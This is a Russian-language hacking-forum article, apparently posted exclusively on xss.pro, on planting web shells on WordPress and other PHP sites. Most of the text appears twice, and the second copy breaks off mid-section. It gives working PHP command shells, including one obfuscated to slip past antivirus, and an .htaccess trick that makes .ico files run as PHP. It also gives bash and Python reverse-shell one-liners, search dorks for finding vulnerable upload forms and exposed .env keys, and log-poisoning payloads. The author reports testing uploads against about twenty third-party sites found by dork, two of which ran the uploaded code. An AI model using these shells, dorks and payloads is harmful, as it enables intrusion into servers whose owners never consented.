Автор: miserylord
Эксклюзивно для форума: xss.pro
Веб-сайты — знакомая вещь, не так ли? Но как они устроены внутри?
При открытии сайта в браузере отображаются связанные между собой HTML-документы, оформленные стилями CSS и оживленные JavaScript-сценариями. Это то, что доступно клиенту. А что скрывается за кулисами? Сервер.
Сервер — это не только физический компьютер, выполняющий код (хотя и это тоже). Это еще и программное обеспечение, которое генерирует динамические HTML-документы (серверный код). В более широком смысле, это программа, реализующая HTTP-протокол, и именно она выступает веб-сервером.
Серверный скрипт — это код на языке программирования (например, PHP, Python, Node.js), который выполняется в среде, поддерживающей HTTP-протокол и модель клиент-сервер. Такой код обрабатывает запросы от клиента, формирует ответы и взаимодействует с операционной системой сервера.
Этот мир не нами создан, но разобраться в нем вполне возможно.
Как это работает?
Представим цепочку: Операционная система → запускает веб-сервер → выполняет скрипт.
Обратный процесс: скрипт принимает данные от клиента (через HTTP-запросы). Эти данные могут содержать команды или методы, которые обрабатываются в контексте языка программирования скрипта. Скрипт же работает в рамках процесса веб-сервера, ограниченного возможностями операционной системы и ее инструментами.
Погрузимся в роль разработчика. Ты написал код, подключился к серверу, установил нужное ПО... И вот перед тобой — интерфейс терминала. Терминал — это мост, связывающий твое устройство с удаленным сервером. Даже если удаленность виртуальна (например, сервер стоит в соседней комнате), терминал остается интерфейсом для взаимодействия.
А что такое шелл?
Шелл — это, по сути, удаленный терминал. Это программа, которая позволяет взаимодействовать с операционной системой сервера, отправлять команды и получать результаты.
Веб-шелл идет дальше. Это скрипт, который добавляет веб-интерфейс к этому процессу. Вместо командной строки можно управлять сервером через браузер, отправляя команды через веб-форму или удобный интерфейс. Веб-шелл — это терминал, обернутый в веб-приложение.
CMS WordPress — одна из самых популярных платформ для создания сайтов.
Админ-панель WordPress — ключ к управлению сайтом. Как в ней оказаться — первая часть, вторая, третья. Предположим, это некая CVE с повышением привилегий при регистрации, близко к реальности.
Что нужно знать для начала? Язык программирования, на котором работает WordPress, это PHP — и этого знания уже достаточно, чтобы начать.
Дальше открывается широкое поле для маневров.
Шелл — это скрипт, который нужно загрузить на сервер. Плагин wp-file-manager позволяет получить интерфейс для управления файлами и папками прямо из админ-панели WordPress без необходимости использования FTP или cPanel.
Можно сразу заметить файл wp-config.php, который содержит имя пользователя базы данных, пароль к базе данных и имя сервера базы данных (а также ниже уникальные ключи и соли для аутентификации; можно изменить их, чтобы сделать существующие файлы cookies недействительными). Он может дать альтернативный вектор, но в данном сценарии идем другим путем.
Попробуем получить шелл через загрузку файла, замаскированного под иконку изображения.
Можно создать файл shell.php с простым кодом:
Видишь? Антивирус ругается, можно предположить, что на публичные шеллы будет плохая реакция антивирусных программ.
Меняем на shell.ico (без дополнительного преобразования), загружаем в корень директории, через wp-file-manager становится понятно, что файл считывается сервером как php-файл.
При изучении файловой структуры сайта можно обнаружить файл .htaccess, что указывает на использование веб-сервера Apache.
На данном этапе можно сделать выводы:
Файл .htaccess — это конфигурационный файл Apache, который управляет обработкой запросов. Чтобы сервер интерпретировал файлы с расширением .ico как PHP-скрипты, можно добавить строку: AddType application/x-httpd-php .ico
Обновленный файл .htaccess может выглядеть так:
Стучимся по /favicon.ico?cmd=whoami, в ответ получаем битую картинку.
Упрощение подхода. Стоит попробовать другой вектор. Создается новый файл ishell.php с кодом:
Запрос по адресу /ishell.php?cmd=whoami возвращает имя пользователя, от которого запущен процесс веб-сервера. Ожидается увидеть www-data (типичный пользователь для Apache на Linux), но результат другой. Это наводит на мысль, что используется виртуальный хостинг.
Команда cat%20/etc/passwd подтверждает догадки: это действительно виртуальный хостинг. Логины могут быть паролями. Ключей не видно. Скриншот слишком явно укажет на сервер.
Перейдем к получению реверс-шелла, то есть к управлению не через браузерную строку, а через третий сервер (опять слово сервер, на этот раз в контексте личного устройства для управления целевым).
Для этого используется утилита NetCat. На управляющем сервере выполняется команда: nc -lvp 4444. На целевом сервере (через строку браузера) пробуется команда: bash%20-i%20%3E%26%20/dev/tcp/192.168.1.100/4444%200%3E%261. Ничего не происходит.
Пробуем иначе. Устанавливаем, какие языки поддерживает операционная система, команда: which%20bash%20sh%20nc%20netcat%20python%20python3%20perl%20php.
Возвращает:
Это значит, что доступны Python, Perl, PHP и Bash. Можно попробовать другой подход. На управляющем сервере: nc -lvp 4411. На клиенте (через браузер): python3%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4411));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Успех! Реверс-шелл установлен, и теперь можно управлять сервером через NetCat.
Вернемся на несколько шагов назад и проанализируем код:
Этот код проверяет, передан ли параметр cmd в запросе. Если параметр cmd существует, его содержимое выполняется как системная команда через функцию system(). Результат выполнения команды выводится в теге pre.
Получается, что любой, зная параметр и маршрут, может вызвать удаленное выполнение кода. Это недопустимо.
Изменим код, добавив защиту по токену:
Защита не позволяет сохранить файл?
А теперь?
По поводу вектора — он действительно может быть иным. Часто в ответ на запрос "How to upload shell on WordPress?" предлагается использовать модуль Metasploit.
Он использует другой вектор атаки. Исходный код модуля доступен по ссылке: https://github.com/rapid7/metasploi...exploits/unix/webapp/wp_admin_shell_upload.rb
Речь идет о взломанном плагине. В самом коде модуля нет пейлода — насколько я понимаю, он берётся из php/meterpreter/reverse_tcp.
Названия плагинов выбираются случайным образом, но будет похож на wp-content/plugins/[a-zA-Z]{10} (в Fofa нет возможности к регулярке).
Теоретически загрузка файлов — это тот же процесс, что описан выше, только осуществляется не через плагин или админ-панель, а с помощью кнопки на сайте. Однако на практике этот процесс может быть гораздо более сложным.
Согласно описанию уязвимости CVE-2025-4403 на сайте Wordfence уязвимость присутствует в плагине Drag and Drop Multiple File Upload for WooCommerce (это плагин, расширяющий функциональность WooCommerce, поэтому для его корректной работы сначала необходимо установить WooCommerce, а затем — сам плагин). Уязвимость затрагивает версии до 1.1.6. В описании фигурирует параметр supported_type, при этом MIME-тип загружаемого файла не проверяется должным образом.
Код плагина довольно простой — он буквально просто загружает файлы. Возможно, не стоит задумываться о том, какие бизнес-задачи он решает. Его функциональность позволяет добавить на страницу товара кнопку для загрузки нескольких файлов до того, как товар будет помещён в корзину. У плагина тысячи установок — это любопытно, но главное для нас сейчас — понять, как реализована загрузка и как можно использовать этот функционал для тестирования.
Из changelog, в частности из этого коммита: WordPress.org следует, что на фронтенде реализована некая проверка. Перехватываем запрос с помощью Burp Suite и отправляем его вручную, обходя фронтенд. Загружаем изображение и определяем путь загрузки: wp-content/uploads/wc_drag-n-drop_uploads/1.jpg.
А вот и сам запрос.
Меняем supported_type на php, загружаем файл с расширением .php, указываем MIME-тип и пейлоад . Однако получаем ошибку: "Uploaded file is not allowed for file type".
Изучаю код ещё раз — вроде бы всё должно работать. Пробую различные расширения: .php3, .phar, экспериментирую с кодировками, проверяю невалидный nonce, чтобы понять, что ошибка действительно связана с типом файла. Меняю Content-Type между application/x-php и image/jpeg — и снова получаю ту же ошибку: "Uploaded file is not allowed for file type".
Уязвимость достаточно свежая. Есть ли под неё готовый эксплоит? Внезапно — да: https://github.com/Yucaerin/CVE-2025-4403.
Вот и обход:
Файл загружен! Победа… ну, почти
Для успешной эксплуатации сервер должен быть либо слабо сконфигурирован, либо на нём должен быть установлен другой уязвимый плагин, позволяющий удалять файлы. На сервере, где я провожу тесты, в директории появляется файл .htaccess со следующим содержимым:
Эксплоиты под недавние CVE нечасто появляются в открытом доступе, однако теперь я начинаю анализ именно с их поиска. Для CVE-2024-8425 доступен публичный эксплоит: https://github.com/KTN1990/CVE-2024-8425/blob/main/WUGC.py
Особенность в том, что уязвимость относится к проприетарному плагину, поэтому изучение реализации особенно интересно.
Код эксплоита работает в многопоточном режиме. Проверка осуществляется по CSS-файлу (определяя наличие mwb_wgm_setting, но без проверки версии — не уверен, насколько это корректно).
MIME-тип — image/gif, а сам шелл представляет собой интерфейс формы для загрузки новых файлов на сервер.
Уязвимость актуальна для версий ≤ 2.6.0. На момент написания самая свежая версия — больше 6, а минимальная, с которой я сталкивался, — около 4.
Добавлю также, что плагины WordPress сильно отличаются по функциональности. Например, уязвимость CVE-2024-13744 затрагивает плагин, расширяющий функционал WooCommerce, схожий на CVE-2025-4403. Из комментариев WordPress.org в коде становится понятно, что речь идёт о функционале пользовательских полей (Validate_product_input_fields_on_add_to_cart).
В настройках плагина можно включить опцию Checkout Files Upload, которая добавляет возможность загрузки файлов на странице оформления заказа.
Однако загружаемые файлы не сохраняются на сервере в открытом виде, к которому можно получить прямой доступ. Они доступны только через интерфейс админ-панели или посредством GET-запроса по специальному ключу. Насколько можно судить, файлы хранятся в бинарном или схожем формате и не исполняются напрямую на сервере.
Уязвимость загрузки файлов — это распространённая уязвимость, выходящая за рамки только WordPress.
Для изучения её особенностей можно ознакомиться с кодом готовых эксплойтов.
В уязвимости CVE-2024-27747, согласно PoC: Petrol Pump Management Software v1.0 - Remote Code Execution via File Upload - PHP remote Exploit, загрузка шелла происходит через поле "Фото" без каких-либо дополнительных проверок.
В эксплойте: Real Estate Management System v1.0 - Remote Code Execution via File Upload - PHP remote Exploit уязвимость проявляется на странице регистрации. Шелл сохраняется в формате avatar.php, затем его расширение меняется на .png, после чего файл загружается как изображение, далее PoC описывает перехват запроса на регистрацию и изменение расширения обратно на .php.
В другом эксплойте рассматривается эндпоинт смены изображения: Tourism Management System v2.0 - Arbitrary File Upload - PHP webapps Exploit.
Пример ещё одного эксплойта: Wallos < 1.11.2 - File Upload RCE - PHP webapps Exploit.
Несколько важных моментов:
Большинство уязвимостей типа file upload сопровождаются достаточно наглядными PoC — практически готовыми эксплойтами. Поэтому не вижу особого смысла разбирать их подробно.
Оставлю несколько ссылок:
Дорки:
Чтобы однозначно понимать, что мы работаем с сайтами на PHP, добавляем .php. После слова "upload" можно произвольно добавить категорию.
Другим подходом может быть поиск сайтов определённой категории, где происходит загрузка файлов — например, сайты знакомств, социальные сети, платформы с верификацией для предоставления услуг.
Регистрируемся для изучения процесса и анализируем запросы. Важно понимать не только сам факт загрузки файла, но и то, где именно он сохраняется. Иногда сервер возвращает ссылку в ответе, иногда — нет.
Потенциальные векторы атаки:
Успешно:
Остальное:
Идея очень проста: на сервисе существует лог-файл, в который, неожиданно, пишутся логи
Этот файл создаётся для отладки. Если происходит какая-либо ошибка, она должна попасть в лог-файл.
Как вызвать ошибку? Можно использовать пейлод system($_GET['cmd']); в заголовке User-Agent. Сервер логирует значение User-Agent в файл access.log. Проверка через &cmd=id. Если лог-файл подключается через include() или require() в PHP, то код из него будет исполнен. Если же файл просто читается, например, с помощью echo file_get_contents(), то произойдёт только вывод содержимого без выполнения кода.
Почему это LFI? Потому что лог-файл — это локальный файл.
Дорка: inurl:".php?page=" buy
Далее перебираем возможные пути к лог-файлам, например:
/var/log/access.log или /var/log/error.log.
Пейлод — в заголовки, проверка — через &cmd=id.
Чтобы определить путь до логов, желательно заранее понимать, на чём работает сервер и где могут храниться такие файлы. При подобной слепой проверке чаще встречаются SQL-инъекции, чем LFI.
Еще один вектор получения шелла, который мне до конца освоить не удалось, но все же хочу его упомянуть. Его можно увидеть в этой лабе - Lab: Exploiting PHP deserialization with a pre-built gadget chain | Web Security Academy
Я разбирал тему инъекций объектов PHP (или небезопасной сериализации) в одной из статей. Кратко: если сервер принимает объект в виде строки (например, в формате base64), а затем преобразует его в памяти обратно в объект — к этому объекту можно прикрепить пейлод, вызывающий определённые методы. Однако всё это происходит в рамках текущего кода приложения — нельзя просто выполнить произвольный код, лишь тот, что уже заложен в классы.
Через дорку типа https://www.exploit-db.com/ghdb/6683 с фильтром ext:env можно найти страницы вроде /.env.
Найденный файл .env указывать на использование Laravel, хотя для уверенности стоит проверить дополнительно.
Теперь можно сказать точно — это Laravel
В Laravel переменная APP_KEY используется как секретный ключ для симметричного шифрования внутри приложения. Проще говоря, это что-то вроде приватного ключа: всё, что подписано с его помощью, считается валидным. В том числе куки, включая laravel_session.
PHPGGC — это инструмент, который генерирует сериализованные объекты на основе известных цепочек классов популярных PHP-библиотек и фреймворков. Такие объекты могут выполнить произвольный код при десериализации.
Laravel сериализует объекты в строки и шифрует их через AES-256-CBC. На сервере происходит расшифровка и unserialize().
Порядок действий:
Затем используем шифратор (написан при помощи GPT, возможно, тут есть ошибки — не уверен, что он работает корректно):
Полученную строку подставляем в куку laravel_session. Хотя сервер может и не вернуть ничего в ответ — это тоже возможно. Но по логике должен. Проводил тесты с различными командами.
Возможно, вы уже обратили внимание, но команда phpggc Laravel/RCE1 system 'id' -o payload.txt вряд ли сработает, так как он рассчитан на версии Laravel 5.4.27. Маловероятно, что у случайного сайта окажется именно такая версия прям до патча.
Чтобы проверить версию Laravel, можно попробовать получить /composer.json. В моем случае сервер выдал этот файл, и в нем указано: "laravel/framework": "5.8.*"
Соответственно, стоит попробовать цепочки Laravel/RCE10, Laravel/RCE4, Laravel/RCE6. Тем не менее, я так и не увидел в ответе вывод команды id, хотя сам вектор атаки кажется очень перспективным.
У каждого языка программирования, на котором может быть написан сервер, есть свои особенности, но практически любой из них может быть использован для создания веб-шелла. На PHP существует множество примеров.
У Node.js есть свои особенности: URL-адреса не отображаются напрямую на пути в файловой системе, а загруженный файл, как правило, не исполняется автоматически. Кроме того, мало кто пишет серверы на чистой Node.js — обычно используются различные фреймворки и библиотеки.
Тем не менее, предположим, что существует следующий сервер:
Файл веб-шелла будет выглядеть так:
Разумеется, в каждый язык необходимо погружаться отдельно. На PHP подобные вещи реализуются нагляднее и проще.
Возможно, этот текст получился немного сумбурным и не раскрыл всех аспектов, но материалов на эту тему не так уж и много.
Трям! Пока!
Эксклюзивно для форума: xss.pro
Что такое веб-шелл?
Веб-сайты — знакомая вещь, не так ли? Но как они устроены внутри?
При открытии сайта в браузере отображаются связанные между собой HTML-документы, оформленные стилями CSS и оживленные JavaScript-сценариями. Это то, что доступно клиенту. А что скрывается за кулисами? Сервер.
Сервер — это не только физический компьютер, выполняющий код (хотя и это тоже). Это еще и программное обеспечение, которое генерирует динамические HTML-документы (серверный код). В более широком смысле, это программа, реализующая HTTP-протокол, и именно она выступает веб-сервером.
Серверный скрипт — это код на языке программирования (например, PHP, Python, Node.js), который выполняется в среде, поддерживающей HTTP-протокол и модель клиент-сервер. Такой код обрабатывает запросы от клиента, формирует ответы и взаимодействует с операционной системой сервера.
Этот мир не нами создан, но разобраться в нем вполне возможно.
Как это работает?
Представим цепочку: Операционная система → запускает веб-сервер → выполняет скрипт.
Обратный процесс: скрипт принимает данные от клиента (через HTTP-запросы). Эти данные могут содержать команды или методы, которые обрабатываются в контексте языка программирования скрипта. Скрипт же работает в рамках процесса веб-сервера, ограниченного возможностями операционной системы и ее инструментами.
Погрузимся в роль разработчика. Ты написал код, подключился к серверу, установил нужное ПО... И вот перед тобой — интерфейс терминала. Терминал — это мост, связывающий твое устройство с удаленным сервером. Даже если удаленность виртуальна (например, сервер стоит в соседней комнате), терминал остается интерфейсом для взаимодействия.
А что такое шелл?
Шелл — это, по сути, удаленный терминал. Это программа, которая позволяет взаимодействовать с операционной системой сервера, отправлять команды и получать результаты.
Веб-шелл идет дальше. Это скрипт, который добавляет веб-интерфейс к этому процессу. Вместо командной строки можно управлять сервером через браузер, отправляя команды через веб-форму или удобный интерфейс. Веб-шелл — это терминал, обернутый в веб-приложение.
Получение шелла на сайте с WordPress (PHP)
CMS WordPress — одна из самых популярных платформ для создания сайтов.
Админ-панель WordPress — ключ к управлению сайтом. Как в ней оказаться — первая часть, вторая, третья. Предположим, это некая CVE с повышением привилегий при регистрации, близко к реальности.
Что нужно знать для начала? Язык программирования, на котором работает WordPress, это PHP — и этого знания уже достаточно, чтобы начать.
Дальше открывается широкое поле для маневров.
Шелл — это скрипт, который нужно загрузить на сервер. Плагин wp-file-manager позволяет получить интерфейс для управления файлами и папками прямо из админ-панели WordPress без необходимости использования FTP или cPanel.
Можно сразу заметить файл wp-config.php, который содержит имя пользователя базы данных, пароль к базе данных и имя сервера базы данных (а также ниже уникальные ключи и соли для аутентификации; можно изменить их, чтобы сделать существующие файлы cookies недействительными). Он может дать альтернативный вектор, но в данном сценарии идем другим путем.
Попробуем получить шелл через загрузку файла, замаскированного под иконку изображения.
Можно создать файл shell.php с простым кодом:
PHP:
<?php
if (isset($_POST['cmd'])) {
system($_POST['cmd']);
}
?>
Видишь? Антивирус ругается, можно предположить, что на публичные шеллы будет плохая реакция антивирусных программ.
Меняем на shell.ico (без дополнительного преобразования), загружаем в корень директории, через wp-file-manager становится понятно, что файл считывается сервером как php-файл.
При изучении файловой структуры сайта можно обнаружить файл .htaccess, что указывает на использование веб-сервера Apache.
На данном этапе можно сделать выводы:
- Сайт работает на CMS WordPress, написанной на PHP.
- Веб-сервер — Apache, о чем говорит наличие файла .htaccess.
- Операционная система Linux (это станет ясно позже).
Файл .htaccess — это конфигурационный файл Apache, который управляет обработкой запросов. Чтобы сервер интерпретировал файлы с расширением .ico как PHP-скрипты, можно добавить строку: AddType application/x-httpd-php .ico
Обновленный файл .htaccess может выглядеть так:
Код:
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteCond %{REQUEST_URI} !^/favicon\.ico$
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
<IfModule mod_mime.c>
AddType application/x-httpd-php .ico
</IfModule>
# END WordPress
Стучимся по /favicon.ico?cmd=whoami, в ответ получаем битую картинку.
Упрощение подхода. Стоит попробовать другой вектор. Создается новый файл ishell.php с кодом:
PHP:
<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>
Запрос по адресу /ishell.php?cmd=whoami возвращает имя пользователя, от которого запущен процесс веб-сервера. Ожидается увидеть www-data (типичный пользователь для Apache на Linux), но результат другой. Это наводит на мысль, что используется виртуальный хостинг.
Команда cat%20/etc/passwd подтверждает догадки: это действительно виртуальный хостинг. Логины могут быть паролями. Ключей не видно. Скриншот слишком явно укажет на сервер.
Перейдем к получению реверс-шелла, то есть к управлению не через браузерную строку, а через третий сервер (опять слово сервер, на этот раз в контексте личного устройства для управления целевым).
Для этого используется утилита NetCat. На управляющем сервере выполняется команда: nc -lvp 4444. На целевом сервере (через строку браузера) пробуется команда: bash%20-i%20%3E%26%20/dev/tcp/192.168.1.100/4444%200%3E%261. Ничего не происходит.
Пробуем иначе. Устанавливаем, какие языки поддерживает операционная система, команда: which%20bash%20sh%20nc%20netcat%20python%20python3%20perl%20php.
Возвращает:
Код:
/usr/bin/bash
/usr/bin/sh
/usr/bin/python
/usr/bin/python3
/usr/bin/perl
/usr/bin/php
Это значит, что доступны Python, Perl, PHP и Bash. Можно попробовать другой подход. На управляющем сервере: nc -lvp 4411. На клиенте (через браузер): python3%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4411));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Успех! Реверс-шелл установлен, и теперь можно управлять сервером через NetCat.
Вернемся на несколько шагов назад и проанализируем код:
PHP:
<?php
if(isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>
Этот код проверяет, передан ли параметр cmd в запросе. Если параметр cmd существует, его содержимое выполняется как системная команда через функцию system(). Результат выполнения команды выводится в теге pre.
Получается, что любой, зная параметр и маршрут, может вызвать удаленное выполнение кода. Это недопустимо.
Изменим код, добавив защиту по токену:
PHP:
<?php
$secret_token = "secret";
if (isset($_REQUEST['cmd']) && isset($_SERVER['HTTP_AUTH_TOKEN']) && $_SERVER['HTTP_AUTH_TOKEN'] === $secret_token) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
} else {
http_response_code(403);
echo "Unauthorized access.";
}
?>
Защита не позволяет сохранить файл?
PHP:
<?php
$e = str_rot13('flfgrz');
$p = chr(112).chr(114).chr(101);
if(isset($_REQUEST[base64_decode('Y21k')])) {
echo "<$p>";
$e($_REQUEST[base64_decode('Y21k')]);
echo "</$p>";
}
?>
А теперь?
По поводу вектора — он действительно может быть иным. Часто в ответ на запрос "How to upload shell on WordPress?" предлагается использовать модуль Metasploit.
Он использует другой вектор атаки. Исходный код модуля доступен по ссылке: https://github.com/rapid7/metasploi...exploits/unix/webapp/wp_admin_shell_upload.rb
Речь идет о взломанном плагине. В самом коде модуля нет пейлода — насколько я понимаю, он берётся из php/meterpreter/reverse_tcp.
Названия плагинов выбираются случайным образом, но будет похож на wp-content/plugins/[a-zA-Z]{10} (в Fofa нет возможности к регулярке).
Загрузка файла в WordPress (CVE-2025-4403)
Теоретически загрузка файлов — это тот же процесс, что описан выше, только осуществляется не через плагин или админ-панель, а с помощью кнопки на сайте. Однако на практике этот процесс может быть гораздо более сложным.
Согласно описанию уязвимости CVE-2025-4403 на сайте Wordfence уязвимость присутствует в плагине Drag and Drop Multiple File Upload for WooCommerce (это плагин, расширяющий функциональность WooCommerce, поэтому для его корректной работы сначала необходимо установить WooCommerce, а затем — сам плагин). Уязвимость затрагивает версии до 1.1.6. В описании фигурирует параметр supported_type, при этом MIME-тип загружаемого файла не проверяется должным образом.
Код плагина довольно простой — он буквально просто загружает файлы. Возможно, не стоит задумываться о том, какие бизнес-задачи он решает. Его функциональность позволяет добавить на страницу товара кнопку для загрузки нескольких файлов до того, как товар будет помещён в корзину. У плагина тысячи установок — это любопытно, но главное для нас сейчас — понять, как реализована загрузка и как можно использовать этот функционал для тестирования.
Из changelog, в частности из этого коммита: WordPress.org следует, что на фронтенде реализована некая проверка. Перехватываем запрос с помощью Burp Suite и отправляем его вручную, обходя фронтенд. Загружаем изображение и определяем путь загрузки: wp-content/uploads/wc_drag-n-drop_uploads/1.jpg.
А вот и сам запрос.
Меняем supported_type на php, загружаем файл с расширением .php, указываем MIME-тип и пейлоад . Однако получаем ошибку: "Uploaded file is not allowed for file type".
Изучаю код ещё раз — вроде бы всё должно работать. Пробую различные расширения: .php3, .phar, экспериментирую с кодировками, проверяю невалидный nonce, чтобы понять, что ошибка действительно связана с типом файла. Меняю Content-Type между application/x-php и image/jpeg — и снова получаю ту же ошибку: "Uploaded file is not allowed for file type".
Уязвимость достаточно свежая. Есть ли под неё готовый эксплоит? Внезапно — да: https://github.com/Yucaerin/CVE-2025-4403.
Вот и обход:
Файл загружен! Победа… ну, почти

Для успешной эксплуатации сервер должен быть либо слабо сконфигурирован, либо на нём должен быть установлен другой уязвимый плагин, позволяющий удалять файлы. На сервере, где я провожу тесты, в директории появляется файл .htaccess со следующим содержимым:
Код:
Options -Indexes
<Files *.php> deny from all </Files>
Загрузка файла в WordPress (CVE-2024-8425)
Эксплоиты под недавние CVE нечасто появляются в открытом доступе, однако теперь я начинаю анализ именно с их поиска. Для CVE-2024-8425 доступен публичный эксплоит: https://github.com/KTN1990/CVE-2024-8425/blob/main/WUGC.py
Особенность в том, что уязвимость относится к проприетарному плагину, поэтому изучение реализации особенно интересно.
Код эксплоита работает в многопоточном режиме. Проверка осуществляется по CSS-файлу (определяя наличие mwb_wgm_setting, но без проверки версии — не уверен, насколько это корректно).
MIME-тип — image/gif, а сам шелл представляет собой интерфейс формы для загрузки новых файлов на сервер.
Уязвимость актуальна для версий ≤ 2.6.0. На момент написания самая свежая версия — больше 6, а минимальная, с которой я сталкивался, — около 4.
И еще немного загрузки файла в WordPress (CVE-2024-13744)
Добавлю также, что плагины WordPress сильно отличаются по функциональности. Например, уязвимость CVE-2024-13744 затрагивает плагин, расширяющий функционал WooCommerce, схожий на CVE-2025-4403. Из комментариев WordPress.org в коде становится понятно, что речь идёт о функционале пользовательских полей (Validate_product_input_fields_on_add_to_cart).
В настройках плагина можно включить опцию Checkout Files Upload, которая добавляет возможность загрузки файлов на странице оформления заказа.
Однако загружаемые файлы не сохраняются на сервере в открытом виде, к которому можно получить прямой доступ. Они доступны только через интерфейс админ-панели или посредством GET-запроса по специальному ключу. Насколько можно судить, файлы хранятся в бинарном или схожем формате и не исполняются напрямую на сервере.
Загрузка файлов [exploit-db]
Уязвимость загрузки файлов — это распространённая уязвимость, выходящая за рамки только WordPress.
Для изучения её особенностей можно ознакомиться с кодом готовых эксплойтов.
В уязвимости CVE-2024-27747, согласно PoC: Petrol Pump Management Software v1.0 - Remote Code Execution via File Upload - PHP remote Exploit, загрузка шелла происходит через поле "Фото" без каких-либо дополнительных проверок.
В эксплойте: Real Estate Management System v1.0 - Remote Code Execution via File Upload - PHP remote Exploit уязвимость проявляется на странице регистрации. Шелл сохраняется в формате avatar.php, затем его расширение меняется на .png, после чего файл загружается как изображение, далее PoC описывает перехват запроса на регистрацию и изменение расширения обратно на .php.
В другом эксплойте рассматривается эндпоинт смены изображения: Tourism Management System v2.0 - Arbitrary File Upload - PHP webapps Exploit.
Пример ещё одного эксплойта: Wallos < 1.11.2 - File Upload RCE - PHP webapps Exploit.
Несколько важных моментов:
- Content-Disposition — это HTTP-заголовок, указывающий, как следует интерпретировать или обрабатывать тело сообщения. form-data используется при отправке форм с типом multipart/form-data.
- MIME-тип — это стандарт описания типа содержимого. Content-Type — это HTTP-заголовок, определяющий MIME-тип содержимого запроса или ответа.
1-day File Upload
Большинство уязвимостей типа file upload сопровождаются достаточно наглядными PoC — практически готовыми эксплойтами. Поэтому не вижу особого смысла разбирать их подробно.
Оставлю несколько ссылок:
- CVE-2025-0460 — https://gist.github.com/mcdruid/28124198128022a1c2b4060f74d99cd6 (Модуль в OpenCart)
- CVE-2024-55417 — Your connected workspace for wiki, docs & projects | Notion (Забавная уязвимость в некой CMS, которая позволяет изменить расширение конфигурационного файла)
- CVE-2025-27140 — OS Command Injection endpoint 'importar_dump.php' parameter 'import' (RCE) · Advisory · LabRedesCefetRJ/WeGIA · GitHub (Shell через инъекцию имени файла.)
- CVE-2024-29409 - https://gist.github.com/aydinnyunus/801342361584d1491c67a820a714f53f (Проверка по Content-Type)
Тестирование в холодную (загрузка файлов)
Дорки:
- inurl:register.php "upload"
- inurl:signup.php "upload"
Чтобы однозначно понимать, что мы работаем с сайтами на PHP, добавляем .php. После слова "upload" можно произвольно добавить категорию.
Другим подходом может быть поиск сайтов определённой категории, где происходит загрузка файлов — например, сайты знакомств, социальные сети, платформы с верификацией для предоставления услуг.
Регистрируемся для изучения процесса и анализируем запросы. Важно понимать не только сам факт загрузки файла, но и то, где именно он сохраняется. Иногда сервер возвращает ссылку в ответе, иногда — нет.
Потенциальные векторы атаки:
- Замена расширения на .php, содержимое файла — php phpinfo(); die(); __halt_compiler();
- Смена Content-Type (text/plain, application/x-php, application/octet-stream)
- Проверка различных расширений: .php3, .png.php, .pHp, ..php и другие
- URL-кодирование: %2E%2E%2Fexploit.php
- Magic Bytes
Успешно:
- 2 сайта — успешная загрузка файла с расширением .php и кодом phpinfo(). В ответ — страница с информацией о PHP.
Частично успешно: - 1 сайт — успешная загрузка файла с расширением .png.php, однако PHP-код не исполняется (сервер предварительно обрабатывает файл).
- 1 сайт — файл загружается, но сервер очень медленно отвечает. Попытка смены метода запроса на GET с теми же параметрами дала ошибку.
- 1 сайт — хорошая валидация, не даёт загрузить PHP-файл ни одним из способов.
- 1 сайт — WAF (ModSecurity).
- 1 сайт — использует Amazon S3 для хранения файлов.
Остальное:
- 9 сайтов — невозможно установить, куда сохраняются файлы / нет никакой обратной связи / требуется подтверждение регистрации администратором (много сайтов из B2B-сегмента).
- 4 сайта — неработоспособны должным образом (вероятно, дорка собирают мусор за счёт наличия .php в URL. В целом, оставлять .php в URL — сомнительная практика).
Шелл через лог-файл (Log Injection + Local File Inclusion) в PHP
Идея очень проста: на сервисе существует лог-файл, в который, неожиданно, пишутся логи
Как вызвать ошибку? Можно использовать пейлод system($_GET['cmd']); в заголовке User-Agent. Сервер логирует значение User-Agent в файл access.log. Проверка через &cmd=id. Если лог-файл подключается через include() или require() в PHP, то код из него будет исполнен. Если же файл просто читается, например, с помощью echo file_get_contents(), то произойдёт только вывод содержимого без выполнения кода.
Почему это LFI? Потому что лог-файл — это локальный файл.
Дорка: inurl:".php?page=" buy
Далее перебираем возможные пути к лог-файлам, например:
/var/log/access.log или /var/log/error.log.
Пейлод — в заголовки, проверка — через &cmd=id.
Чтобы определить путь до логов, желательно заранее понимать, на чём работает сервер и где могут храниться такие файлы. При подобной слепой проверке чаще встречаются SQL-инъекции, чем LFI.
Шелл через инъекцию объекта PHP
Еще один вектор получения шелла, который мне до конца освоить не удалось, но все же хочу его упомянуть. Его можно увидеть в этой лабе - Lab: Exploiting PHP deserialization with a pre-built gadget chain | Web Security Academy
Я разбирал тему инъекций объектов PHP (или небезопасной сериализации) в одной из статей. Кратко: если сервер принимает объект в виде строки (например, в формате base64), а затем преобразует его в памяти обратно в объект — к этому объекту можно прикрепить пейлод, вызывающий определённые методы. Однако всё это происходит в рамках текущего кода приложения — нельзя просто выполнить произвольный код, лишь тот, что уже заложен в классы.
Через дорку типа https://www.exploit-db.com/ghdb/6683 с фильтром ext:env можно найти страницы вроде /.env.
Найденный файл .env указывать на использование Laravel, хотя для уверенности стоит проверить дополнительно.
Теперь можно сказать точно — это Laravel
В Laravel переменная APP_KEY используется как секретный ключ для симметричного шифрования внутри приложения. Проще говоря, это что-то вроде приватного ключа: всё, что подписано с его помощью, считается валидным. В том числе куки, включая laravel_session.
PHPGGC — это инструмент, который генерирует сериализованные объекты на основе известных цепочек классов популярных PHP-библиотек и фреймворков. Такие объекты могут выполнить произвольный код при десериализации.
